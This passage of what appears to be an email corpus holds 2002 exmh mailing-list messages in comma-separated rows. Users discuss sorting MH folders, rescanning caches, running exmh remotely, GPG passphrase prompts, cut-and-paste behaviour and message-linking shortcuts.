14:16:19 -0500",Re: Sorting,"> > You're probably running exmh on a local machine. I'm running it on a > > very remote machine. In this scenario, the mime handling is weak. > > Nope. I run exmh on my desktops at home and at work with the resulting > exmh windows being displayed on both my work and home desktops (gratis > SSH X11 forwarding). I run exmh routinely from home (broadband) using an XWindows Client tunneled through ssh under WinXP. It works very well in this fashion. FWIW, I use Eudora under Winder$ because it's less of a virus magnet. :) There's more to the story why I run Winder$, but that's really off-topic and I'm already guilty! -=d _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 14:31:48 -0700",Re: Sorting,"There is an ""Update all scan caches"" menu entry that rescans your folders similar to the short scripts folks have shared around. It runs in the background. >>>Rick Baartman said: > > > On Mon, 9 Sep 2002, Rick Baartman wrote: > > Thanks Tom and Jacob. The above works, but without the double quotes: i.e. > > > > sh -c 'for f in `folders -recurse -fast` ; do sortm +""$f"" ; done' > > > But there is a problem with making changes outside of exmh: the .xmhcache fi les > don't get updated. This is dangerous; I have to remember to re-scan each fol der > I enter. Is there a safeguard for this? > > -- > rick > > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Waldner ,exmh-users@spamassassin.taint.org,"Wed, 11 Sep 2002 01:24:46 +0200",Re: Sorting,"This is a multi-part message in MIME format. It has been signed conforming to RFC2015. You'll need PGP or GPG to check the signature. ------------=_1031700302-417-36 Content-Type: text/plain; charset=us-ascii On Tue, 10 Sep 2002 09:27:12 PDT, J C Lawrence writes: >I run exmh on my desktops at home and at work with the resulting >exmh windows being displayed on both my work and home desktops (gratis >SSH X11 forwarding). In fact, your message was read and replied to >(this message) while at work, using an exmh instance running on my home >machine. So you have 4 copies (1+1 per desktop) of exmh running? That's what I usually do, but what I'd really like would be some automagism to tell them ""Flist"", ""Rescan Folder"", which I now do manually whenever I'm going to work at the ""other"" machine. cheers, &rw -- -- In the first place, God made idiots; -- though this was for practice only; -- then he made users. (Mark Twain, modified) ------------=_1031700302-417-36 Content-Type: application/pgp-signature; name=""signature.ng"" Content-Disposition: inline; filename=""signature.ng"" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9fn9OE0NzSJr53oIRAkEtAJwLbcoH2lx/CnhG/eQN1mJMDqnO7wCeLrKo wFXc+1hVHd8T3cQZbbOYeUk= =40Qu -----END PGP SIGNATURE----- ------------=_1031700302-417-36-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rick Baartman ,exmh-users@spamassassin.taint.org,"Tue, 10 Sep 2002 16:54:38 -0700",Re: Sorting,"Thanks Brent: now it's clearer (to me) what's needed. I've used the global sort and J C Lawrence's re-scan, but there is still a vulnerability there: If I have an instance of exmh running, the folder I'm visiting will have its new, correct .xmhcache overwritten with an incorrect one when I switch folders. I can cron the sort and re-scan process, but I should kill running exmh's first. Best would be to have a button for ""Global sort and update all scan caches"" in the exmh More... menu -- rick >>>>> ""Brent"" == Brent Welch >>>>> wrote the following on Tue, 10 Sep 2002 14:31:48 -0700 Brent> There is an ""Update all scan caches"" menu entry that rescans your Brent> folders similar to the short scripts folks have shared around. It Brent> runs in the background. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Wed, 11 Sep 2002 00:55:08 -0700",Re: Sorting,"On Wed, 11 Sep 2002 01:24:46 +0200 Robert Waldner wrote: > On Tue, 10 Sep 2002 09:27:12 PDT, J C Lawrence writes: >> I run exmh on my desktops at home and at work with the resulting exmh >> windows being displayed on both my work and home desktops (gratis SSH >> X11 forwarding). In fact, your message was read and replied to (this >> message) while at work, using an exmh instance running on my home >> machine. > So you have 4 copies (1+1 per desktop) of exmh running? Yes. One of the nicer aspects of exmh's colour handling is that while I have the default background for the message pane set to black, the second insance of exmh displaying to a given $DISPLAY will set the background of the message pane to darkslategray. Very nice as it provides an instant visual cue as to which is which. (No: I've not checked where it gets that colour selection from). > That's what I usually do, but what I'd really like would be some > automagism to tell them ""Flist"", ""Rescan Folder"", which I now do > manually whenever I'm going to work at the ""other"" machine. -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Wed, 11 Sep 2002 08:27:24 -0500",Re: Sorting,">> I run exmh on my desktops at home and at work with the resulting exmh >> windows being displayed on both my work and home desktops (gratis SSH >> X11 forwarding). In fact, your message was read and replied to (this >> message) while at work, using an exmh instance running on my home >> machine. Just to throw in another approach to solving the same problem. I run two copies of exmh, one at work, one at home. They both display on a ""virtual X server"" created by vncserver on the home box. I connect to that virtual X server using vncviewer wherever I happen to be. The VNC connection is tunneled over ssh and is carried over the Internet via an IPSEC appliance. That gives me access to both home and work email from either place without the complications involved in having two copies of exmh working on the same set of folders. It's a tad slow viewing work email when I'm at work ... but not so bad that I can't stand it. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,Hacksaw ,"Wed, 11 Sep 2002 12:17:33 -0700",Re: exmh bug?,"Hmm - I'm cc'ing the exmh-workers list, because I really don't know much about the various PGP interfaces. I think there has been some talk about ""issues"" with the latest version of gpg. >>>Hacksaw said: > version 2.5 08/15/2002 > Linux habitrail.home.fools-errant.com 2.4.7-10smp #1 SMP Thu Sep 6 17:09:31 > EDT 2001 i686 unknown > Tk 8.3 Tcl 8.3 > > It's not clear to me this is a bug with exmh per se, but it's something that > manifests through exmh, so I figured asking you might help me track it down. > > When I receive a gpg encrypted message, and it asks me for a passphrase, it > first tries to ask me via the tty under which exmh is running. It tells me m y > passphrase is incorrect every time, at which point exmh offers me the line i n > the message about decrypting. I click the line and it offers me the dialog > box, and tells me the passphrase is correct, and shows me the decrypted > message. > > Any ideas on that? > -- > Honour necessity. > http://www.hacksaw.org -- http://www.privatecircus.com -- KB1FVD -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 kchrist@lsil.com,Hacksaw ,"Wed, 11 Sep 2002 13:48:40 -0600",Re: exmh bug?,"The way to debug something like this is to turn on the log (Preferences -> Hacking Support -> Debug log enabled) and track the gpg commands being issued and the responses. FWIW, using exmh 2.5 and gpg 1.0.7 I do not have problems sending encrypted messages to myself. When I select the message, an xterm window pops up asking for the passphrase. I don't recall exmh ever asking me for the passphrase from the tty that started exmh nor from a dialog box. (But then again, I'm not a heavy gpg user). Kevin In message <200209111917.PAA02912@blackcomb.panasas.com>, Brent Welch writes: > Hmm - I'm cc'ing the exmh-workers list, because I really don't know > much about the various PGP interfaces. I think there has been some > talk about ""issues"" with the latest version of gpg. > > >>>Hacksaw said: > > version 2.5 08/15/2002 > > Linux habitrail.home.fools-errant.com 2.4.7-10smp #1 SMP Thu Sep 6 17:09:31 > > EDT 2001 i686 unknown > > Tk 8.3 Tcl 8.3 > > > > It's not clear to me this is a bug with exmh per se, but it's something > > that manifests through exmh, so I figured asking you might help me track > > it down. > > > > When I receive a gpg encrypted message, and it asks me for a passphrase, > > it first tries to ask me via the tty under which exmh is running. It > > tells me my passphrase is incorrect every time, at which point exmh > > offers me the line in the message about decrypting. I click the line > > and it offers me the dialog box, and tells me the passphrase is correct, > > and shows me the decrypted message. > > > > Any ideas on that? _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Valdis.Kletnieks@vt.edu,Brent Welch ,"Wed, 11 Sep 2002 15:52:25 -0400",Re: exmh bug?,"--==_Exmh_9304186P Content-Type: text/plain; charset=us-ascii On Wed, 11 Sep 2002 12:17:33 PDT, Brent Welch said: > >>>Hacksaw said: > > When I receive a gpg encrypted message, and it asks me for a passphrase, > it > > first tries to ask me via the tty under which exmh is running. It tells > Hmm.. I've seen the *opposite* issue - if I go to *SEND* a signed message, sometimes Exmh will put up the dialog box, but fail to set keyboard focus there, so no passphrase can be entered. Of course, hitting 'return' doesnt work so you need to click the 'OK' box, at which point it finds that the passphrase that wasn't entered doesn't work, and asks again, this time with proper focus set. I suspect some variable/codepath is getting hosed for the focus, or possibly some borkedness with --no-tty and/or --status-fd flags to gnupg. /Valdis --==_Exmh_9304186P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9f575cC3lWbTT17ARApK5AKD+PToDpgdcd0Ore2BwJ1qVakfMDgCcDRsa HqcPiRZRSxFvAQBe+Ma1qmY= =lXe4 -----END PGP SIGNATURE----- --==_Exmh_9304186P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Kevin Cosgrove ,,"Wed, 11 Sep 2002 12:53:10 -0700",Re: exmh bug?,"Gotta wonder what the GPG config stuff in ~/.exmh/exmh-defaults looks like. Also gotta wonder what the message headers in the offending message are saying to nmh/exmh. My set-up works perfectly. That is, I get a pop-up window to enter my passphrase into, and when I type it correctly, the message display changes from a prompt to click to decrypt to the message content. TTFN.... On 11 September 2002 at 12:17, Brent Welch wrote: Hmm - I'm cc'ing the exmh-workers list, because I really don't know much about the various PGP interfaces. I think there has been some talk about ""issues"" with the latest version of gpg. >>>Hacksaw said: > version 2.5 08/15/2002 > Linux habitrail.home.fools-errant.com 2.4.7-10smp #1 SMP Thu Sep 6 17:09:31 > EDT 2001 i686 unknown > Tk 8.3 Tcl 8.3 > > It's not clear to me this is a bug with exmh per se, but it's > something that manifests through exmh, so I figured asking you > might help me track it down. > > When I receive a gpg encrypted message, and it asks me for a > passphrase, it first tries to ask me via the tty under which > exmh is running. It tells me my passphrase is incorrect every > time, at which point exmh offers me the line in the message > about decrypting. I click the line and it offers me the dialog > box, and tells me the passphrase is correct, and shows me the > decrypted message. > > Any ideas on that? > -- > Honour necessity. > http://www.hacksaw.org -- http://www.privatecircus.com -- KB1FVD _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Kevin Cosgrove ,Hacksaw ,"Wed, 11 Sep 2002 13:26:27 -0700",Re: exmh bug?,"Here's a message that works fine for me: X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: kevinc@doink.com Subject: gpg test Mime-Version: 1.0 Content-Type: text/x-pgp; format=mime; x-action=encrypt; x-recipients=""D165C0CC, D165C0CC"" Content-Transfer-Encoding: 7bit Date: Wed, 11 Sep 2002 13:18:58 -0700 From: Kevin Cosgrove Message-Id: <20020911201900.492892FEAB@joseph.doink.com> -----BEGIN PGP MESSAGE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Exmh version 2.5 10/15/1999 blah, blah, blah -----END PGP MESSAGE----- It could be that your content type of text/plain is messing you up. Your config stuff looks substantially the same as mine. Cheers.... On 11 September 2002 at 16:11, Hacksaw wrote: You may assume the X's were originally a valid address. X-em-version: 5, 0, 0, 4 X-em-registration: #01E0520310450300B900 X-priority: 3 X-mailer: My Own Email v4.00 Mime-version: 1.0 Content-type: text/plain; charset=US-ASCII Subject: Discussion From: ""XXXXXXX"" Date: Tue, 10 Sep 2002 05:47:46 -0500 (06:47 EDT) To: hacksaw@hacksaw.org *gpgRfc822: 0 *gpgChooseKey: 1 *gpgRunTwice: 1 *gpgCacheIds: persistent *gpgMinMatch: 75 *gpgShowInline: none *gpgShortMessages: 1 *gpgAutoExtract: 1 *gpgKeyServer: pgp-public-keys@keys.pgp.net *gpgKeyQueryMethod: hkp *gpgHKPKeyServerUrl: keys.pgp.com *gpgKeyServerURL: http://www-swiss.ai.mit.edu/htbin/pks-extract-key.pl?op =get&search=0x%s *gpgKeyOtherMethod: exec echo ""can't find $id"" > $tmp *gpgComment: Exmh version 2.5 08/15/2002 *gpgModulePath: /usr/lib/gnupg *gpgCipherMods: skipjack idea *gpgDigestMods: tiger *gpgPubkeyMods: rsa *gpgPgp5Compatibility: 1 *gpgCipherAlgo: 3des *gpgDigestAlgo: sha1 *gpgCompressAlgo: zip _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 George Michaelson ,exmh-users@spamassassin.taint.org,"Thu, 12 Sep 2002 12:19:29 +0000",bad focus/click behaviours,"I am a (tv)twm user. when I snarf text into my mouse cut buffer, and then attempt to inject it into the exmh input windows for comp/repl, the 'point' is often an apparently random place in the text pane, not where I think I have current flashing cursor. I usually wipe out any of To:/Subject:/ with the text. Its often not even beginning of line denoted, ie its an unexplicable number of char spaces in to the text where it inserts, What am I doing wrong in either X, WM, shell, EXMH which is causing this? cheers -George _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Wed, 11 Sep 2002 20:15:00 -0700",Re: bad focus/click behaviours,"exmh has a funky cut/paste model that is essentially all my fault. The middle click sets the insert point. If you hate that, go to the Bindings... Simple Edit preferences window and de-select ""Paste Sets Insert"". >>>George Michaelson said: > > I am a (tv)twm user. when I snarf text into my mouse cut buffer, and then > attempt to inject it into the exmh input windows for comp/repl, the 'point' > is often an apparently random place in the text pane, not where I think I > have current flashing cursor. > > I usually wipe out any of To:/Subject:/ with the text. Its > often not even beginning of line denoted, ie its an unexplicable number > of char spaces in to the text where it inserts, > > What am I doing wrong in either X, WM, shell, EXMH which is causing this? -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 02:03:07 +0700",Re: bad focus/click behaviours,"Date: Wed, 11 Sep 2002 20:15:00 -0700 From: Brent Welch Message-ID: <200209120315.XAA25189@blackcomb.panasas.com> | exmh has a funky cut/paste model that is essentially all my fault. | The middle click sets the insert point. If you hate that, go to the | Bindings... Simple Edit preferences window and de-select | ""Paste Sets Insert"". Unfortunately, the side effect of that solution is that it is no longer possible to cut/paste within one sedit window, some intermediate client always must be used (except in the rare case where you want to select some text, and then paste it at the same place). That's because the click that you have to (with this option) make to set the insert point, also kills the selection (it ends up reverting to the last selection made in some other window, or something like that). So, the vast majority of people probably want that ""Paste Sets Insert"" enabled - that one you can learn to live with, the other is much more painful. kre _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tony Nugent ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 11:26:30 +1000",Re: bad focus/click behaviours,"On Fri Sep 13 2002 at 02:03, Robert Elz wrote: > Date: Wed, 11 Sep 2002 20:15:00 -0700 > From: Brent Welch > | exmh has a funky cut/paste model that is essentially all my fault. > | The middle click sets the insert point. If you hate that, go to the > | Bindings... Simple Edit preferences window and de-select > | ""Paste Sets Insert"". > > Unfortunately, the side effect of that solution is that it is no longer > possible to cut/paste within one sedit window, some intermediate client > always must be used (except in the rare case where you want to select > some text, and then paste it at the same place). > So, the vast majority of people probably want that ""Paste Sets Insert"" > enabled - that one you can learn to live with, the other is much more > painful. For a long time I have used an external editor with exmh (gvim). I can cut'n'paste from exmh's message display window into spawned gvim processes, but not into anything else. This is VERY annoying. (I have to look at the message with cat or less or whatever in a terminal window if I want to do this - which is quite often. And if the message is q-p encoded or a non-text/plain mime type, I end up with all that raw garbage too). Anyway to fix this? (BTW: standard i386 redhat7.3) Thanks. > kre Cheers Tony _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tony Nugent ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 12:31:24 +1000",Linking message [was: Re: Patch to complete a change...],"On Tue Sep 10 2002 at 12:52, Robert Elz wrote: > Subject: Patch to complete a change... > I guess that most of us don't use ""link"" very often ... I noticed it > last week, but only got time to look and see why today. I would like to use [Link] a lot more, but is it rather inconvenient. I have set my right mouse button to [Move] a message to another folder, which works fine. However, [Link] also uses the same destination folder as [Move], and so if I want to use [Link] I first have to mark the destination folder with a message-move, undo the move, then I can use the [Link]. Very inconvenient. Is there a better way for me to set this up so that [Link] works with one or two simple clicks? (In essence: is there a way to mark a destination folder for a message link or move without actually doing a move or link, I couldn't see anything obvious). Cheers Tony _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,Tony Nugent ,"Thu, 12 Sep 2002 23:26:33 -0500",Re: Linking message [was: Re: Patch to complete a change...],">>>>> On Fri, 13 Sep 2002, ""Tony"" == Tony Nugent wrote: Tony> (In essence: is there a way to mark a destination folder Tony> for a message link or move without actually doing a move Tony> or link, I couldn't see anything obvious). 1) Right click on the folder label in the folder list 2) In the main window, the ""+"" key puts you into a ""change folder"" mode (the first time you use it after starting exmh), hit a second + and you go to ""set a target"" mode. Type a few characters of the folder name and hit space for autocomplete. --Hal How's spring shaping up ""down under""? _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 17:09:55 +0700",Re: Linking message [was: Re: Patch to complete a change...],"Date: Thu, 12 Sep 2002 23:26:33 -0500 From: Hal DeVore Message-ID: <23204.1031891193@dimebox> | 1) Right click on the folder label in the folder list That (the way I have it configured, and it sounds as if the way Tony does too) just does a move (rather than select as target without moving). Of course, if you can manage to get no messages currently selected, then it works fine. | 2) In the main window, the ""+"" key puts you into a ""change | folder"" mode (the first time you use it after starting exmh), | hit a second + and you go to ""set a target"" mode. Type a few | characters of the folder name and hit space for autocomplete. This works, but is not nice if you're not using the keyboard, but just the mouse. Tony: I agree - a nice way to link in one click would be good, and should be easy to add, though currently adding mouse bindings (something like shift right click would be a good choice) is much harder than adding key bindings. But note there's no need to ""undo"" - the way I generally use link, if the desired destination folder isn't the current selected target, is to right click on the target, which selects it and moves the message, (and because I have the ""automatic move to the next message on move or link option set) select the message again, and then ""Link"". Exmh only permits one uncomitted action to be selected for a message at a time, that is, one of delete, move, or link. Selecting any of those implicitly undoes any previous choice from the three (so you cannot achieve a ""move"" by doing a link, then delete, then commit, it needs to be link, commit, delete, commit). (xmh was just the same there incidentally). | How's spring shaping up ""down under""? No meaningful comment from me, I'm not there at the minute. But I'm told that where I'm from it is cold, wet, and miserable, though has been better during the day (sunny days, cold nights) for the past few. In any case, all of that is a good enough reason to stay away... kre _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 17:55:30 +0700",Re: bad focus/click behaviours,"Date: Fri, 13 Sep 2002 11:26:30 +1000 From: Tony Nugent Message-ID: <200209130126.g8D1QUf21470@hobbit.linuxworks.com.au.nospam> | I can cut'n'paste from exmh's message display window into spawned | gvim processes, but not into anything else. That's odd. I cut & paste between all kinds of windows (exmh into mozilla, xterm, another wish script of mine I use for DNS tasks (but that one I guess is to be expected) netscape (when I used to use it, but I suppose it and mozilla are the same codebase, approx) - in fact I can't thing of anything it fails for, that I have noticed. What is an example of an ""anything else"" that it fails for for you? kre _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tony Nugent ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 21:30:34 +1000",Re: bad focus/click behaviours,"On Fri Sep 13 2002 at 17:55, Robert Elz wrote: > Date: Fri, 13 Sep 2002 11:26:30 +1000 > From: Tony Nugent > | I can cut'n'paste from exmh's message display window into spawned > | gvim processes, but not into anything else. > > That's odd. I cut & paste between all kinds of windows (exmh into Not so odd, this issue came up several weeks ago (with no real resolution). > mozilla, xterm, another wish script of mine I use for DNS tasks (but > that one I guess is to be expected) netscape (when I used to use it, > but I suppose it and mozilla are the same codebase, approx) - in fact > I can't thing of anything it fails for, that I have noticed. > > What is an example of an ""anything else"" that it fails for for you? Everything else :) I can't even mark text in an exmh message window and then paste it into a terminal window, the cut buffer seems to be completely empty (and its previous contents are no longer there either). > kre BTW: talking of spring downunder... I'm in Queensland. It almost feels like early summer already (winters here are dry and warm, much better than cold wet miserable Melbourne :-) Despite some recent rain (first in months), we are already into a drought, with an El-Nino on the way it is only going to get worse... (the last one in the 90s caused one of the worst droughts ever seen here in aussie). Cheers Tony _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 06:57:50 -0500",Re: Linking message [was: Re: Patch to complete a change...],"2) In the main window, the ""+"" key puts you into a ""change folder"" mode (the first time you use it after starting exmh), hit a second + and you go to ""set a target"" mode. Type a few characters of the folder name and hit space for autocomplete. I should have finished this off. 3) Keep hitting space to loop thru all the folders that match the characters you typed. Hit return to actually select the folder shown in the message area. I don't use this for navigating into nested folders as the only thing I have nested is my archives. Someone else will have to tell you how to do that if there are any tricks to it. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 09:18:41 -0500",Re: Linking message [was: Re: Patch to complete a change...],">>>>> On Fri, 13 Sep 2002, ""Robert"" == Robert Elz wrote: Robert> That (the way I have it configured, and it sounds as if Robert> the way Tony does too) just does a move (rather than Robert> select as target without moving). Ah. I had forgotten that was settable. Preferences, Folder Display, ""Action when Target Button clicked..."" set to ""Select only"" will change it. I seem to recall that the button that is used as ""Target button"" is configurable but I haven't had enough caffeine to recall where that is. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 09:28:15 -0500",Re: bad focus/click behaviours,">>>>> On Fri, 13 Sep 2002, ""Tony"" == Tony Nugent wrote: Tony> I can't even mark text in an exmh message window and then Tony> paste it into a terminal window, the cut buffer seems to Tony> be completely empty (and its previous contents are no Tony> longer there either). Brent confessed recently that he had tried to subvert the X model(s) of copy and paste. Not in those words... but that was how I read it. ;) I have a lot of trouble copying and pasting from or to exmh across a VNC link (from things in the vncviewer to things not in it and vice versa). As long as I stick to apps being ""normally"" displayed on my X server I don't have much of a problem. My recollection from my X programming days is that the X model, like everything in X, is more complex than the human brain can handle. It also is very different from the MS-Windows model. And I get the feeling that Tk tries to ""unify"" those two models and fails. Not sure what the exmh-specific contribution to the confusion is, frankly. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Kevin Oberman"" ",exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 07:46:47 -0700",Re: bad focus/click behaviours,"> From: Tony Nugent > Sender: exmh-users-admin@spamassassin.taint.org > Date: Fri, 13 Sep 2002 21:30:34 +1000 > > On Fri Sep 13 2002 at 17:55, Robert Elz wrote: > > > Date: Fri, 13 Sep 2002 11:26:30 +1000 > > From: Tony Nugent > > > | I can cut'n'paste from exmh's message display window into spawned > > | gvim processes, but not into anything else. > > > > That's odd. I cut & paste between all kinds of windows (exmh into > > Not so odd, this issue came up several weeks ago (with no real > resolution). > > > mozilla, xterm, another wish script of mine I use for DNS tasks (but > > that one I guess is to be expected) netscape (when I used to use it, > > but I suppose it and mozilla are the same codebase, approx) - in fact > > I can't thing of anything it fails for, that I have noticed. > > > > What is an example of an ""anything else"" that it fails for for you? > > Everything else :) I can't even mark text in an exmh message window > and then paste it into a terminal window, the cut buffer seems to be > completely empty (and its previous contents are no longer there > either). > > > kre > > BTW: talking of spring downunder... I'm in Queensland. It almost > feels like early summer already (winters here are dry and warm, > much better than cold wet miserable Melbourne :-) Despite some > recent rain (first in months), we are already into a drought, with > an El-Nino on the way it is only going to get worse... (the last > one in the 90s caused one of the worst droughts ever seen here in > aussie). (This is all guess work and may be bogus.) Are you running Gnome 1.4? I had similar problems as did several co-workers. Updating my Gnome components has fixed it for me and others, although I can't say exactly which component did the trick. Gnomecore or gtk would seem most likely, but it may have been something else. In any case, I have not seen the problem for quite a while, now. R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 kchrist@lsil.com,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 09:14:58 -0600",Re: Linking message [was: Re: Patch to complete a change...],"In message <200209130231.g8D2VO021580@hobbit.linuxworks.com.au.nospam>, Tony Nu gent writes: > > I have set my right mouse button to [Move] a message to another > folder, which works fine. > > However, [Link] also uses the same destination folder as [Move], and > so if I want to use [Link] I first have to mark the destination > folder with a message-move, undo the move, then I can use the > [Link]. Very inconvenient. > > Is there a better way for me to set this up so that [Link] works > with one or two simple clicks? > According to some old documentation (man exmh-ref) The mouse bindings for the folders labels are: Left - Change to folder. Middle - View nested folders. Right - Refile current messages to the folder. Shift-Right - Link current messages to the folder. Shift-Middle - Drag a folder label to some drop target. Control-Right - Clear the current target folder. It should be possible to link using shift-right-click the same way you can move using only right-click. Kevin _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rick Baartman ,exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 10:05:23 -0700",Re: bad focus/click behaviours,"I've never understood the mouse buffer operation with exmh either. Here's the behaviour I have. I have exmh and XEmacs windows up, and a terminal window. (I also have gnome1.4 running and enlightenment as wm.) I select text in the exmh window and while it is highlighted, I can paste into anything else. If I select it and then click so the highlighting is off, then what I paste is not the recently-selected text in exmh, but an old selection. If I select in XEmacs and leave it highlighted, I can paste it into exmh sedit window; but if it is no longer highlighted, what I paste is an old selection. I can live with this behaviour except for one additional thing. If nothing is highlighted, then what I paste into exmh is different from what I paste into other windows. To be more specific, here's what gets pasted if nothing is highlighted: Application What gets pasted XEmacs whatever was last selected unless it was last selected in exmh xterm same as XEmacs AbiWord nothing Nedit nothing sedit Whatever was last highlighted in sedit and overwritten The last needs some amplification. If I highlight something in sedit, then obviously that's what gets pasted. If the highlighting is off, then what gets pasted is NOT what was last highlighted in sedit, but what was last highlighted and typed over (I have ""Type Kills SEL"" on.). It seems that exmh and sedit are the oddballs here. Very often when I try to paste something in sedit I end up muttering WTF?? -- rick _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Wendy P. Roberts"" ",exmh-users@spamassassin.taint.org,"Fri, 13 Sep 2002 19:29:59 -0400",Automated forwarding,"Hi Folks, I've been trying to set a button called which automatically forwards mail using a '-form mycomps' without going through the editor, but so far haven't got the right recipe. I currently have in my .exmh-defaults: *Mops.spam.text: Spam *Mops.spam.command: Msg_Forward -form spamcomps -noedit -nowhatnowproc ; Msg _Remove I've also tried with ""SeditSend {$draft $t 0}"" after the forward command. It should forward to a spam address (where filters get adjusted) and then delete. It does so, but not without producing the edit window. Any help appreciated. Wendy Roberts =========================================== Wendy Roberts HEAD System Administrator High Energy Astrophsics Division Harvard-Smithsonian Center for Astrophysics Cambridge, MA USA 02138 wendy@cfa.harvard.edu Phone: 617-495-7153 =========================================== _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tony Nugent ,exmh-users@spamassassin.taint.org,"Sat, 14 Sep 2002 13:20:58 +1000",Re: bad focus/click behaviours,"On Fri Sep 13 2002 at 07:46, ""Kevin Oberman"" wrote: > > > What is an example of an ""anything else"" that it fails for for you? > > > > Everything else :) I can't even mark text in an exmh message window > > and then paste it into a terminal window, the cut buffer seems to be > > completely empty (and its previous contents are no longer there > > either). > (This is all guess work and may be bogus.) > > Are you running Gnome 1.4? I had similar problems as did several > co-workers. Updating my Gnome components has fixed it for me and > others, although I can't say exactly which component did the > trick. Gnomecore or gtk would seem most likely, but it may have been > something else. Indeed I am (this workstation is rh7.2 with gnome1.4, it [mostly?] works, so I hadn't bothered to updated it to 7.3:) > In any case, I have not seen the problem for quite a while, now. So upgrading gnome will fix the problem, it's not an exmh/tktcl issue. > R. Kevin Oberman, Network Engineer Thanks. Cheers Tony _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Jacob Morzinski ,,"Sat, 14 Sep 2002 08:50:28 -0400 (EDT)",Re: bad focus/click behaviours,"On Fri, 13 Sep 